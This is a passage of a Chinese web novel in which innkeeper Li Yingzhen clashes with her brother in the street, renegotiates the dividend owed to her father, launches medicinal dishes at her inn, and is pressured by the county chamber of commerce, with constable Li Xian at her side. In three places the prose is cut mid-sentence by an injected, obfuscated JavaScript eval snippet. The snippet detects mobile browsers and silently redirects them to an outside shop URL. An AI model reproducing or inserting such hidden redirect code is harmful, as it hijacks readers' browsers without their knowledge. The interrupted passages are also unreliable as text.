往日李弦多见黎映真做事自主果断,这会儿忽地见她眨着那双圆润水灵的眼睛看着自己,他倒是一时间没主意了。 指尖在桌面上画着圈,他低头皱眉的样子真像是在认真思考黎映真的问题,暂且应付道:“我再想想。” 身边还有阿桃他们送客的声音,可黎映真一双眼睛只落在李弦身上,像是发现了什么新奇玩意儿。 看他装模作样,她的嘴角一点儿都压不下来。 这回换李弦投来不解的目光,问她道:“看什么?” 少见的促狭,甚至有些虚张声势的味道。 “没什么。”黎映真扶着桌子站起身,看吴二出来,便让他过来收拾李弦的桌子。 李弦跟着起身准备回衙门,又听身后传来黎映真的叮嘱:“天气转凉,多穿点,别着凉了又来我这儿蹭住蹭关怀。” 往柜台里走的那个,说这句话的时候头都没回。 朝客栈外头去的那个没应声,却是漏了一声笑,被吴二听见了。 他顺着李弦离开的方向去看,只觉得那开出客栈大门的脚步十分轻快,那人高马大的身影跟小孩儿似的就快一蹦一跳了。 “阿嚏。” 一个喷嚏来得猝不及防,吴二听见黎映真的声音传来:“你也记得天凉了添件衣裳。” 秋意渐浓,黎映真关心别人的话最后应验到了自己身上。 连日来的劳心费力,加上秋凉迅猛,着凉带来的不适并着深沉的疲惫和偶尔的头晕一起袭来,她终究是败下阵来,找上了医馆的大夫。 好在大夫说不是大问题,给她开了药,再嘱咐多注意休息调理就好。 从医馆出来,黎映真一手提着药包,心里还琢磨着继续提升客栈流量的法子。 途径黎家布庄时,她却瞧见几个平日里绝迹联想不到一块儿的一起出现在布庄外。 黎文远正带着侯三跟许瘸子从布庄出来,那两人是县里出了名不务正业的地痞流氓,之前因为参与聚赌和当街斗殴才被衙门枷号示众。 这会儿,那两个平素为祸乡里的家伙却对黎文远俯首帖耳,而黎文远则是一脸倨傲,随后丢给他们什么东西,一副打发叫花子的姿态。 以此看,黎文远显然与这二人有牵扯,可依着黎世昌那看重面子、死要声誉的脾气,是绝对不会允许黎文远跟这种不入流的混混走到一起的。 有些早先的猜想似乎在眼前的这一幕之下得到了印证,但黎映真以为时机未到,便不想多与黎文远纠缠。 可黎文远也瞧见了她,这就甩开侯三和许瘸子,大摇大摆地穿过街面的人流走了过来。 “黎掌柜不守着你那破落客栈却跑出来闲逛?”他脸上笑意轻佻,仰头,微垂着眼去看黎映真,满是不屑,“该不会是知道再怎么熬都救不回客来居,想回来求我爹娘收留吧?” 黎映真懒得理他,提步要走。 黎文远横跨一步,偏要拦着。 “好狗不挡道。”她冷冷道,看着前头来来往往的路人,一眼都没去看黎文远。 黎文远被这一句噎得脸色涨红,怒目瞪着黎映真道:“黎映真,别给脸不要脸!” 视线假意在身边扫了一圈,黎映真这才去看黎文远,面上笑着,眼底却是冷的,道:“你这脸皮……难怪我找不着,原是根本就没有呀。” “你!”黎文远指着她,恶狠狠道:“你以为你还能得意几天?跟爹约定的三个月,可没剩下多少日子了。就凭客来居现在的生意,到时真能拿出八十两?哼,你那破客栈迟早还是得被我亲手卖了。” 他越说越得意,仿佛已看见了黎映真走投无路的惨状,此刻反而佯装慈善,道:“你要是识相,现在就乖乖认错,给我磕个头,我或许还能念在你我都姓黎的份上,在爹面前给你说说情,再给你找个好人家,总比最后被扫地出门,流落街头强。” 他刻意加重了“好人家”三个字,不免让黎映真想起了当初在张家婚宴上受到的种种不公和至今都未消的恶劣影响。 可人在怒极时不见得都会爆发,她反而冷静下来,朝侯三他们离开的方向看了一眼,反问黎文远道:“你是不是忘了爹最讨厌什么?” 说着,她朝布庄门口抬了抬下巴,果真见黎文远顿时脸色发青。 那怨毒的目光并未让她有所惧怕,反倒勾得她嘴角的笑容更是明显,有意挑衅道:“明知故犯,是儿子也要挨打。别忘了你姐姐我这张嘴,有时候是没把门的。” 她笑着退开一些,站在人群中,扬声道:“爹最讨厌跟那些身家不清不楚、名声狼藉的人有染,你却偏要跟侯三、许瘸子那些人厮混。堂堂黎家少爷,跟那种下三滥的人从自家布庄里勾肩搭背地出来,还给他们打赏,这事儿如果传去爹那儿,可是不得了哦。” 有路人闻声投来好奇的目光。 黎文远的脸已是一阵青一阵白地变,指着黎映真的手都在发抖,怒骂道:“你……你胡说八道!” 黎映真笑弯了眉眼里依然没有丝毫暖意,反倒随着重新逼近黎文远的脚步逐渐变得尖锐。 “我是女儿身不假,但我至少凭自己的本事让客来居起死回生,有了进项。你呢?除了会花家里的银子,结交狐朋狗友,背后使些下作手段,当街指着我连句像样的话都骂不出来,还会什么? “我现在是不想回那个家,真要回去,我怎么都是黎家的嫡女,身上留着黎家的血,我要是在爹面前哭诉几句,服个软,你说他会信我这个做出了客栈名声的女儿,还是信你这个败家子?” 她笑吟吟地看着黎文远,瞧那人气得双眼发红,神情恶毒得恨不能当场撕了自己,她摇了摇头,啧啧几声,且不说话。 这其中的蔑视与轻慢,对黎文远这种向来被家里家外捧着的人来说无异于锥心刺骨,直击要害。 “黎映真!”黎文远咬牙切齿道。 “黎文远,你现在最该祈祷的,不是客来居倒闭关张,而是我的生意越来越好,越做越大。这样我才看不上黎家那些东西,没心思回去跟你抢。”她的目光越来越沉,锋芒毕露,“我会在这成安县,不,还会有更大的施展空间,在以后,把你,还有你现在手里的东西,一点一点,统统变成我,黎映真的。” “你这个贱人!疯子!简直痴人说梦!” 怒意爆发之下,黎文远理智尽失,怒吼着朝黎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17012809|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 映真扬起手,一巴掌甩了过去。 黎映真早有防备,看似惊慌地往后一退,高声喊道:“打人了!黎家少爷当街殴打家姐,不顾长幼尊卑,疯相毕露!” 这一嗓子出去,整条街的路人都被吸引了主意,群人呼啦一下都围了过来。 众人只见黎文远当街对黎映真动手,第一巴掌没得手便追着人打。 黎映真边在人群里闪躲,便大呼救命,场面一度混乱。 嘈杂人声中,忽地传来一声惨叫。 “啊!” 正是黎文远以为追上黎映真时,被她屈膝一击,正中腹部。 黎映真看他面露痛苦之色,眼底笑意泛滥,嘴上仍喊着“不要过来”“别打我”之类听来满是惊慌的话。 两人就这样在街上闹开,黎映真原想将人直接往黎家引,谁想转身时撞上一堵“人墙”,又软又硬的。 手腕突然被扣住,身子被带着往那人墙后一倒,她及时拉住那人衣袖,已听一声呵斥传来:“怎么回事?” 李弦肃容,握着腰间的佩刀,质问着面前满面怒容又狼狈的黎文远。 黎文远一腔怒火无处发,纵是见了李弦也丝毫不在意,还是那副大少爷做派,吆五喝六道:“黎家的家事,外人别插手,滚开。” 他欲上前,李弦也是前跨一步,当场堵了他的去路。 视线一横,黎文远问道:“做什么?” “咣当。咣当。” 腰间的佩刀被李弦拔出寸许又塞回去,如此反复几声,他并未有其他动作。 两人站得近,那刀身摩擦刀鞘的声音不算大却也清清楚楚传入黎文远耳畔。 饶是他平日嚣张,可这近在身前的刀,还有不似往日嬉笑懒散的李弦,再是周围那么多双眼睛盯着,黎文远终究不复最初的不可一世,暗恨着后退一步。 李弦不拔刀却是得寸进尺,追上一步硬逼在黎文远跟前,也是趾高气昂的模样,当众打起官腔道:“当街闹事,扰乱公序,怎么能说是家事。黎少爷,跟我走一趟,把话说清楚。” “李捕快误会了。”布庄的管事赶忙上来调停,对李弦颇为恭敬,道,“就是我家少爷跟小姐闹着玩,两人少了些分寸,惊扰了街坊们。已告知老爷,这会儿着人请小姐、少爷回去自行处罚,不用劳烦李捕快跟衙门。” 李弦回头看了黎映真一眼,见她冲自己点头,他却仍是不放心的样子,问那布庄管事道:“人就这么进了黎家,还能好好出来?黎少爷这恨不能吃人的样子……” “李捕快多心了,都是自家人,自然和和气气说话,不会动手伤人的。再说,家里还有老爷在,老爷也心疼着小姐呢。”布庄管事道。 管事的说完又去求黎映真,说的无非那些冠冕堂皇的话。 她懒得听,也想趁这个机会回黎家跟黎世昌谈个条件,于是对李弦道:“多谢李捕快,黎家我还是要回的,若真有事,我一定告上衙门,请县令大人主持公道。而且今日有这么多双乡亲在,都可以为我的安全做见证。” 听她这样说,李弦自不好阻拦,只是视线垂落时才看见她手背上新添的几道血痕,不由拧紧了眉心。 29. 第 29 章 黎府大厅。 黎文远坐在椅子上,假模假样地抱着肚子哎呦哎呦地叫。 郑氏一副慈母样,抹着眼泪心疼自己儿子在外头受了委屈,还不忘哭着数落黎映真心狠手辣、想要害亲弟弟。 黎映真也坐着,面无表情地看着眼前那对正在作戏的母子。 沉重且急促的脚步声传来,郑氏先站了起来,迎上前道:“老爷,你要给文远做主。” 黎世昌面色铁青,负手从大厅中走过,身后似带着风,衣上的熏香味都散了一片。 “究竟怎么回事?你怎么能对你弟弟下如此重手?”人还没完全落座,黎世昌已指责起黎映真来。 黎映真抬起手,亮出背上的抓痕,声音平静道:“黎文远自己跟侯三、许瘸子他们勾勾搭搭,不巧被我看见了,他心虚,不让我告诉爹,我还没说话呢,他就跟我动手。” “胡说!”黎文远拍案而起,瞬间没了方才腹痛挨打的可怜样,向黎文远告状道,“是她先当街辱骂,信口雌黄。爹,你千万别听她乱说一气,想是她早就对我怀恨在心,可算是被她找到了机会陷害污蔑我。” 听见陷害污蔑这样的词儿,黎映真原本抿紧的嘴角轻轻一勾,掀眼去看黎文远时,眸光看来冷锐凌冽。 黎文远瞬间心虚,可黎世昌在场,他只梗着脖子退到郑氏身后,暗暗打着眼色是要母亲为他出头。 “说起陷害污蔑,我想想啊,自从我接手客来居,先是食物相克吃死了人,接着是风水不好,然后又被堵了货源,好不容易找回来的‘金不换’还被说是毒草。这一桩桩,一件件,来得可真是巧呢。”黎映真看着黎文远,一副闲聊的口吻。 “黎文远,爹都说你是我弟弟,你又和本地商会的人熟,怎么不帮姐姐我去打听打听,谁在针对我?还是说,我遇到的麻烦跟你有关系?尤其是最开始那桩人命官司,周嫂到现在还下落不明呢。” “胡闹!”黎世昌斥责道,“文远是你弟弟,你怎能这样胡乱揣测自家人?” “自家人?可我落难的时候,自家人帮过我吗?我在公堂上被指下毒杀人的时候,爹就在后头,有帮我说过一句话吗?”黎映真终于站起身,目光灼灼地看着面前这一家三口,“我虽然自己经营客来居,但答应了给家里分红,本该是一荣俱荣的事,偏有人见不得我自立门户,一定要将我赶尽杀绝,我没还手就是看在自家人的面子上,现在还成了我胡乱揣测自家人?” 她不怕顶撞黎世昌,也看得出他此刻欲怒难发,桌上那只攥紧了的拳头皆因她这一口一个“自家人”才被迫压着火气,没将怒火发泄出来。 黎文远却顾不得这些体面,依旧不屑于黎映真做出的成绩,道:“你自己经营不善惹出祸事,休想赖在我头上!谁知道你得罪了什么人!周嫂失踪关我屁事!” “那侯三和许瘸子呢?这总不是我让你去跟他们结交的吧。” “够了!”黎世昌打断道,“文远纵有错,你也不该当街与他冲突,还伤了他。” “谁看见我伤他了?许是谁平素被他欺负的,方才寻个机会找他报仇。”黎映真道。 黎文远欲继续发作,但见黎世昌在,又被郑氏拦着,只得暂时忍下。 黎世昌此时又显露出几分慈父之态,问黎映真道:“你经营客栈的事,为父也一直关注。你之不易,我也清楚。大家到底还是自己人,真有需要帮忙的,都可以回来商量。” 虽不见得黎世昌有多少真心,黎映真也不在意,而是就坡下驴,坐回椅子里,道:“我这不是回来商量了?” 她忽然软和下来的态度令在场之人皆觉猝不及防,尤其郑氏已挪步到黎世昌身边,冲他摇头,是要他别听黎映真妖言蛊惑。 “你有何事要商量?” “到期交付八十两分红实在太多了,我交三十两。” “这怎么行?”郑氏不再隐忍,立即反驳道,“当初说好了八十两,还是签了契约的,真姐儿现在要反悔,那先前说的算什么?何来诚信?咱们老爷向来是最重承诺,最守信用的。” 黎映真正眼都未瞧郑氏一眼,只看着黎世昌道:“自家人才好商量。客栈眼下已经开始盈利,如果能继续好好地经营下去,对家里来说也是一笔收入。爹真要八十两的分红,我可以凑出来,但自家人的情分也就凑到这儿了。 “爹如果通融,给我这个情分,让我留些利润办后头的事,客栈好了,盈利富足,到时候交到家里,贴补的也不是我。” 视线自郑氏母子那两张阴沉带怒的脸上扫过,黎映真冷笑。 “爹。”她放缓了语调,算是给了黎世昌面子,“前头那份契约是我为了拿回客栈不得已答应的,如今我已经证明自己有能力经营下去,三十两或是八十两,都只是时间问题。之前答应爹的钱不会少,只是不想爹竭泽而渔,彻底毁了咱们父女的情分。 “就算……爹以后不想认我这个又疯又野的女儿,生意场上也可能会遇见,不管是你还是弟弟,自家人的情分在,总比只看冷冰冰的银子好说话。” 真如黎世昌所言一直关注客栈发展的话,他必然知道之前那些日子里,她顶住了多少压力。 如今这番话便是由此而生的底气,说是她放低身段也好,亦或是暗含威胁,她所作所为就摆在台面上,她和黎文远哪个孬哪个杰,黎世昌心里还能不明白吗? 从黎家出来时,黎映真看着手里那份重新和黎世昌签订的契约书,小小松了口气。 三十两的分红任务,和她当初的设想一样,努努力还是可以顺利完成的。 轻快的脚步却忽然停下。 忽然发现那不知在门外等了多久的身影,她一时间竟忘了如何控制自己此刻的表情。 还是那一身威严的功夫甲胄,还是那把让人望而生畏的腰间佩刀,可李弦整个人被笼在午间最是明媚的阳光下,威严尽散,只余温柔。 她提着裙角小跑着到他跟前,问道:“等多久了?” 目光垂落,瞧见她手里的东西,他问她:“拿了什么?” “重新跟我爹谈了交分红的事。”她展开契约书,指着上头的“三十两”,兴奋道,“我的任务减轻了一大半,夜里总算可以睡上安稳觉了。” 自那日在张家婚宴上相逢,李弦头一回听她这样说话,跟春季里枝头因为回春而高兴得喳喳叫的小雀儿似的,听得出是当真开心。 只是她手背上的血痕还明显,她大约也没照镜子,不知道自己这会儿头发还有些乱。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17015857|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 垂在身侧的手动了动,但他到底克制着,只从袖袋里摸出一盒药膏,递到黎映真面前:“拿回去擦。” 她一面收起契约书,一面低头笑着,道:“手疼,你先帮我拿着。” 李弦失笑,看她这动作利落的样子哪像真的疼。 他没拆穿,见黎映真提步走了,他拿着药盒在手里把玩,跟在她身边。 黎映真回到客来居,阿桃他们立刻迎上来。 “可算回来了,谢天谢地,掌柜的没事。” “这是自然,李捕快说会跟着就一定不会让掌柜的有事。” 那只药盒终于被塞到黎映真怀里。 看着李弦转身就走的背影,她喊道:“不留下吃点东西?” “街还没巡完。” 弦外之音就是,晚些时候再来。 分红的重任减轻不少,黎映真却也不能就此停滞不前,她还想早日拿回客来居的地契房契,彻底和黎家分道扬镳。 借着金不换被县内名医肯定药食同源特性的东风,再有先前安神定惊汤的预热,黎映真准备推出“客来居药膳坊”系列,真正打出客来居区别于其他酒楼食肆的一步棋。 孙伯精通食道,但不精药理,她便亲自去德仁堂向陈、刘两位大夫请教,再结合自己穿越前关于食疗的记忆,反复斟酌试验,不可谓不忙碌。 这阵子每回李弦过来,都能瞧见黎映真带着客栈的人不是在后厨就是集中在大厅里尝试药膳。 他自然也就成了试吃的一员。 这日夜里巡完街,李弦“顺道”过来看看。 客来居大堂里只有黎映真一个,其他人应是都回去休息了。 “正好做了新品,他们没赶上,便宜你了。”黎映真亲自端着一盅热气腾腾的汤品摆在李弦面前,“‘参芪归枣炖乌鸡’益气补血,最适合你这种为了成安县百姓日夜操劳的优秀捕快。” 她这嘴不饶人时,李弦都只一笑而过,何况这会儿还会哄人,他更是听得高兴,一勺热汤入口,险些将舌头烫没了。 黎映真一面笑,一面给他倒凉茶,借着台上的烛火,发现他眼底带青,想来这阵子又为了那隐秘的公务忙碌去了。 李弦这回学乖了,舀起一勺热汤吹了吹才送入口中。 细细品味之后,他煞有介事道:“乌鸡软烂,药材入味而不夺其鲜,火候恰到好处。黄芪补气,当归活血,红枣甘温,搭配相得益彰。黎掌柜这药膳,倒是深得食补之精髓。” 他点评得头头是道,本以为黎映真能满意,不想她只是默默看着自己,一时间教他有些慌了。 放下勺子,他舔了舔唇,全然没了在外头那股闲散自在的劲儿,试探着问她:“怎么了?我说错什么?” 黎映真仍是那样看着他,眨了眨眼睛,杏眸里烧着烛火,也映着他局促的样子。 唇角上扬,她貌似好奇地问道:“我记得李捕快说过自己不善食道也不善点评,怎么现今却能说得如此仔细,是偷偷跟哪位大夫学了?有意弃武从医?” “……” 陈大夫那儿,李弦确实去问过,他也翻看过药理医书,但究其原由,跟弃武从医有什么关系? 他该如何跟黎映真解释呢。 30. 第 30 章 秋日的成安县,天高云淡,客来居门庭若市。 客栈门口搭了个棚子,棚下设有两席空位,分别立了写有“陈大夫”“刘大夫”的名牌。 为配合推出养生药膳,黎映真特意邀请德仁堂的坐诊大夫来客栈给消费药膳的食客义诊,再搭配精心印制的宣传单页宣传,又吸引了一大波好奇的百姓前来围观。 因是两位在县内出了名的大夫坐镇,大家对客栈的药膳更有信心,生意可见火爆。 “掌柜的,‘滋补套餐’甲字三号桌再加一份。” “知道了,阿桃你去跟孙伯说一声,顺便看看‘安神汤’还够不够,不够赶紧再熬一釜。”黎映真扬声应着,脚下不停,又去迎了新进来的客人。 客栈大堂内,药膳特有的清香与菜肴的香气交织,食客们的交谈声不绝于耳,当真是一幅热闹画面。 食客越来越多,黎映真不得不安排有些客人拼桌。 那身豆绿的裙子不停在人群中穿梭,有时又停在食桌前与客人沟通,忙忙碌碌好一阵,纵是如今天凉了,也能热得出一身汗。 挽起袖子,将发间松了的木簪子拨正,听见吴二又喊一声“掌柜的”,黎映真一面应声,一面拍了拍裙子上的褶子,又赶紧忙活去了。 经过门口时,光线微微一暗,黎映真转头望去,又见了上次那位举止优容的女客。 女客今日换了套水红长裙,身边还是当日的两个随从。 黎映真可不敢怠慢这位神秘人物,立即迎上前道:“客人又来了,今日楼上请吧。” 引着女客到了二楼雅间,黎映真递上一份菜谱,一份药膳单页。 女客只接了药膳单页,道:“我冲着药膳来的,黎掌柜看看,我该用哪一种?” “大夫在楼下,客人若需要,我去请大夫上来。” 女客摇头。 “那只能我介绍药膳的种类和食补功效,由客人自行选择。不过药膳养生不能代替药物,客人如果真有病症疑问,还是尽早就医问诊才是。” 这次,女客点头。 虽对这女客的身份存疑,黎映真如今也不能轻举妄动,只像招待寻常客人那样熟练地介绍起几款主推药膳。 女客听得仔细,偶尔问上一两句,诸如某味药材的产地、药性与其他食材的搭配原理,甚至问及若体质有偏寒或偏热该如何调整。 这些问题已超出普通食客的好奇范围,带上了几分考较的意味。 黎映真能答的都作了回答,实在不清楚的只能摇头道:“客人问到我了,是我了解不够深。若实在不放心,我可请我们的掌勺师傅上来解答。” 女客也未穷追不舍,笑看着黎映真道:“是我问得多了,但我来的目的还和上次一样,黎掌柜可能再考虑考虑?” 女客示意之下,随从一齐退了出去,雅间内只剩下她们二人。 这女客看来文质彬彬,颇有风度,但或许是过于稳重有礼,反倒让人觉得疏远,高不可攀。 因这份疏离高洁,还让黎映真感到一丝无形的压迫。 听女客让自己落座,她顺势坐下,问道:“不知客人看中客来居什么?” “我喜欢女掌柜。”女客答得毫不犹豫,“实不相瞒,我从京城来,但平日多在各地游历。家中有些家底,可那毕竟是家里的,我若能凭自己的眼光得到的,便都是我的。黎掌柜难道不是这么想的?” 听这话说得似是与黎映真的经历有些重叠,却又分明不一样。 她没法反驳女客所言,于是点头道:“客人说的是。” “而我是女子,所以我更想跟想干一番事业的姑娘家打交道。”女客道,此时她展露更深笑意,化去了原先的客套,露了几分娇俏,眸光亲善之余又添纯真之色。 “世道多艰,女子立世更是艰难,我有这个能力,给同为女子之人施以援手,黎掌柜觉得我做得对吗?” “女子互助,该是好事。” “可我看黎掌柜说得好像并不真心。” 黎映真没作声,凝神斟酌着该如何回应。 女客二次登门,显然不会放弃轻易游说自己,在对方身份不明的情况下,她确实不敢贸然与之确定关联。 就算这不是商会那些人给自己设计的陷阱,从这女客的行为举止看,也绝非一般人,黎映真并不能保证自己万一踏入未知泥潭中,能够全身而归。 周旋迂回不是她所长,想来想去,她还是决定开门见山道:“客人能扶助同性之心已是难得,但我以为客人口中的‘女子’并非我能企及,只怕要让客人失望了。” “从来只有用尽浑身解数想让我掏银子的,黎掌柜是第一个拒绝我的。” “家母传下的客栈,不敢任性,只求能妥善经营。” “但我喜欢黎掌柜这个人,你我不讲生意,做朋友呢?” “得客人青睐,是我的荣幸。” 见女客要拉着自己再谈,黎映真深知言多必失,便找了要照顾生意的借口先行离开。 踏出雅间的那一刻,重新听到客栈里沸腾的人声,她不由松了口气,也才发觉面对那女客时,自己的心跳既那么快。 身体仿佛被卸了力,黎映真扶着栏杆平复情绪。 听见阿桃和吴二在楼下的喊声,她抬眼去看,这才发觉客栈门口斜倚着一道身影,怀里揣着那把衙门的佩刀。 黎映真到楼下时,李弦已到了楼梯口。 还是那副散漫的样子,身子仿佛没有骨头似的,走哪都要找东西靠着。 “你又摸鱼。”嘴上嫌弃,嘴角却是扬了起来,黎映真往柜台里走。 李弦跟在她身后,随她数落,自己只在柜台外头站着,佩刀往台上一搁,朝楼上看了一眼,眼底现出几分顾虑道:“看来是甩不掉了。” “非富即贵,更不好得罪。”黎映真发愁,但暂时没有解决的法子。 “确实,完全查不到她的身份。” 如果连李弦也没办法探到那女客的底细,事情显然要比黎映真想的复杂得多。 明明只是被一个经营直播系统绑定,怎么还能给她丢出这样大的麻烦。 这会儿一想起自己那个明显有问题的系统,黎映真更是又愁又气。 “啪”的一声,她才拿起的算盘被丢回台面上,惊得李弦都愣了神。 以往遇到困难,黎映真都是兵来将挡,李弦少见她这样撂挑子干生气的态度。 她眉头皱着,暗暗咬牙生闷气,一只手在算盘上胡乱拨弄,周围虽都是闹哄哄的人声,但那噼里啪啦的算珠响声还是清晰地传入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021111|192900||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 李弦耳里。 他双手叠着趴在台面上,位置比黎映真矮了些,因此需抬眼看她,道:“在客栈待久了憋气,不如跟我去巡街?” 浅浅的笑容漾在他眼底,配合着他这会儿微微被垫得有些翘起来的下巴,脸上的表情逗得黎映真只扫了一眼都忍不住发笑。 她由此低下头,强迫自己不去看李弦,目光跟着已改被慢慢拨弄的算珠来回地动,低声道:“谁要跟你去巡街,我又不是捕快。” “哎呀。”看她情绪好了些,李弦换个姿势,背靠着柜台,身子微微后仰,凑近她道,“你也知道我是个捕快,还得巡街。” 黎映真拨算珠的动作又慢了些,掀眼去看他,见他还是那副欠收拾的样子,心头一动。 这回换她双臂叠起,身子往前支撑在台面上,脑袋一歪,将李弦的眉眼看得更完整些,问他道:“你巡街还能巡来我这客栈里,方向感也太差了吧。” 眼前就是黎映真的挑衅,李弦盯着她看,她没躲,彼此挨得不算远,他能看见她松散落下的发丝,在她颊畔轻轻地动。 他先收回目光,又转头朝楼上女客所在的雅间看了一眼,划过眼底的戒备和顾虑在重新面对黎映真时已被隐藏起来。 抓起柜台上的佩刀,他摆摆手,又是那副吊儿郎当的模样,道:“走了,接着巡街去。” 黎映真还那样撑在柜台上,视线跟着李弦往客栈外头去,身子不由自主地探出了柜台。 不想那原本都快走出客栈的人又回到柜台前。 “怎么了?”黎映真问道。 李弦看着她颊畔缕发丝,指了指自己颊边对应的地方,道:“乱了。” 她忍俊不禁,笑得停不下来,边笑边将发丝拢去耳后,又特意仰面给他看,道:“好了。” 发间的木簪子忽然被轻轻拨动,正是李弦那只常年握刀的手生疏又仔细地动作着。 黎映真僵得不敢动,视线也定格在李弦脸上。 他本就长得不错,这会儿全神贯注的样子更是让她觉得好看。 袖子里的手不由攥成拳,她连呼吸都变得跟李弦这会儿的动作一样小心起来。 黎映真的发髻到底松了,簪子拨正了也不够紧,眼看着像随时会掉下来似的。 李弦怎么看都不满意,道:“得空再梳一梳,否则碍着你做事。” “谁许你动我簪子的。”黎映真嗔道,将木簪往发髻里头插了些,扶着发髻就往后院跑。 阿桃正要往大堂送菜,险些跟黎映真撞上,忙护着菜道:“掌柜的,怎么了?出事了?” “你看我簪子歪了没?” 阿桃抬头看了看,回道:“有点松。” 黎映真仍扶着发髻,定了定神,道:“李捕快刚来订了一盅安神定惊汤,你晚些时候给他打包了送衙门去。” “今儿衙门这么忙,他没空自己过来吃?” “让你送就送,别的什么都不要说,东西放下就走。这趟我自己给你辛苦费。” “就是跑一趟的工夫,我去就是了。” 看着阿桃离开的背影,黎映真忽地放下手,自言自语道:“松就松了呗,我这么紧张干嘛?” “直播间热度值:70。” “搭档,这次冲得很快!” 31. 第 31 章 阿桃到大堂时,瞧见吴二正望着客栈大门出神。 “哎,别偷懒。”到吴二身边叫了一声,阿桃自己也忍不住跟着望去,“看什么呢?” “看李捕快呗。” “他有什么好看的?” “要不说呢。”吴二煞有介事地看着阿桃,“一个大活人,跟傻了似的在这儿……” 他站到柜台边,抬起右手,道:“盯着自己的手左看右看,不知究竟在高兴什么。临了要走,他也不是左撇子,硬换了左手拿刀,右手就那么悬着,就是脸上不傻乐了。” 说得兴致勃勃,可吴二却见阿桃一脸嫌弃的表情,他不满道:“我说真的。” “你一定看错了。”阿桃不以为然道,“李捕快贼着呢,能让你看这些?别废话了,活多着呢。” 看阿桃给客人送药膳去,吴二也不敢偷懒,只当确实自己看错了,继续招呼客人去了。 客来居因这药膳的生意红火了起来,加之直播间的菜品和抽奖活动一直保持更新,不止吸引本县的百姓,有些附近邻县的客人也会闻名而来。 这日黎映真本在向一位外地客人介绍直播间抽奖玩法,见阿桃引着三个陌生人进了客栈。 为首的是个穿着绸缎长衫的中年男子,有些面生,神情倨傲。 他身后跟着的两个,一个是县里悦来楼的邹掌柜,另一个大腹便便的,她也不认得。 但这三人一看便是来者不善。 黎映真提起精神,上前将看来无措的阿桃叫到自己身后,问道:“邹掌柜,怎么今日有空过来?” 面对黎映真的客套,邹掌柜只随意在嘴角扯出个不咸不淡的笑容,当看向为首的中年男子时才显出几分恭敬,对黎映真说话的态度仍是傲慢,道:“这位是县里商会的方会长。” 方家之势,不用这位方为有方会长亲自出马,黎映真都已经领教过,如今见了真人,她暗道接下去的麻烦只会更大。 “方会长。”她昂首回应,笑意自然,虽是一身普通布衣,不多装饰,却是看来不卑不亢,“楼下不好说话,方会长楼上雅间请。” 方为有点头,由黎映真引着上楼。 入了雅间,茶水礼数都上足了,黎映真看这三人仍是面无表情,显然是都拿着架子,要她先开口。 她也不扭捏,问道:“方会长至此有何贵干?” 方为有只是端着茶盏,撇着茶叶末,看似惬意地喝茶。 邹掌柜拿出一份文书,递交给黎映真,道:“黎掌柜自己看看吧。” 黎映真去接,邹掌柜先松了手,文书眼见要落去地上,她也不急着去拿。 “哎呀。”半只脚踩在那还没打开的文书上,却也不见她动,只是单纯地叫了一声。 “你!” “方会长气度卓绝,看得我都没留神其他的,邹掌柜你松手也不支会我一声呢。” 这才抬了脚,黎映真却只是退开,没去捡那文书,一双眼睛还看着方为有,是有些钦慕而无暇其他的模样。 邹掌柜只得安慰自己不跟个疯妇一般见识,弯腰拾起文书,拍去上头的灰尘,板着脸,再递给黎映真,道:“这回拿稳了。” 黎映真这才接过,打开一看,才知是对她的讨伐檄文。 大意是说她推出的直播间、药膳、抽奖等诸般举措在县内食肆行当中引发争议,经商会成员联合评议,认为此乃以奇技淫巧吸引客流,破坏行业规矩的无序竞争之举。长此以往,恐致食肆行当秩序崩坏,难以为继。 因此,客来居必须即刻加入成安县商会,接受商会统一管理,一切经营活动皆需报备核准,与同业保持一致。 文书最后还有成安县商会盖下的红章。 黎映真才看完,便听方为有道:“黎掌柜以为如何?” 听似询问,实则威胁,文书上措辞傲岸,尽显上位者的狂妄自大,跟方为有这盛气凌人的孤高可谓异曲同工了。 将文书放回方为有手边的茶几上,黎映真道:“客来居不论从规模还是我这个掌柜的资历,都不够格加入商会。方会长抬爱,但我想如今时机还不到,再容我多些积累……” “方会长亲自来请,黎掌柜还执意推辞?”那陌生人打断道,斜眼打量着黎映真,眉宇间尽是不屑,“成安县的年轻人确实不同一般。” “年轻人有想法是好事,但单打独斗毕竟不如有人帮衬好走以后的路。”方为有假惺惺道,转而向黎映真介绍,“洛会长负责林州商会的事务,黎掌柜不看我的面子,不妨听听洛会长的意见?” 洛会长摇头道:“你的地方容不得我插手,我管好自己手里的事都不容易了。” 看着两人一搭一唱地像是闲聊,其中的压迫威胁之意,黎映真又怎么不明白。 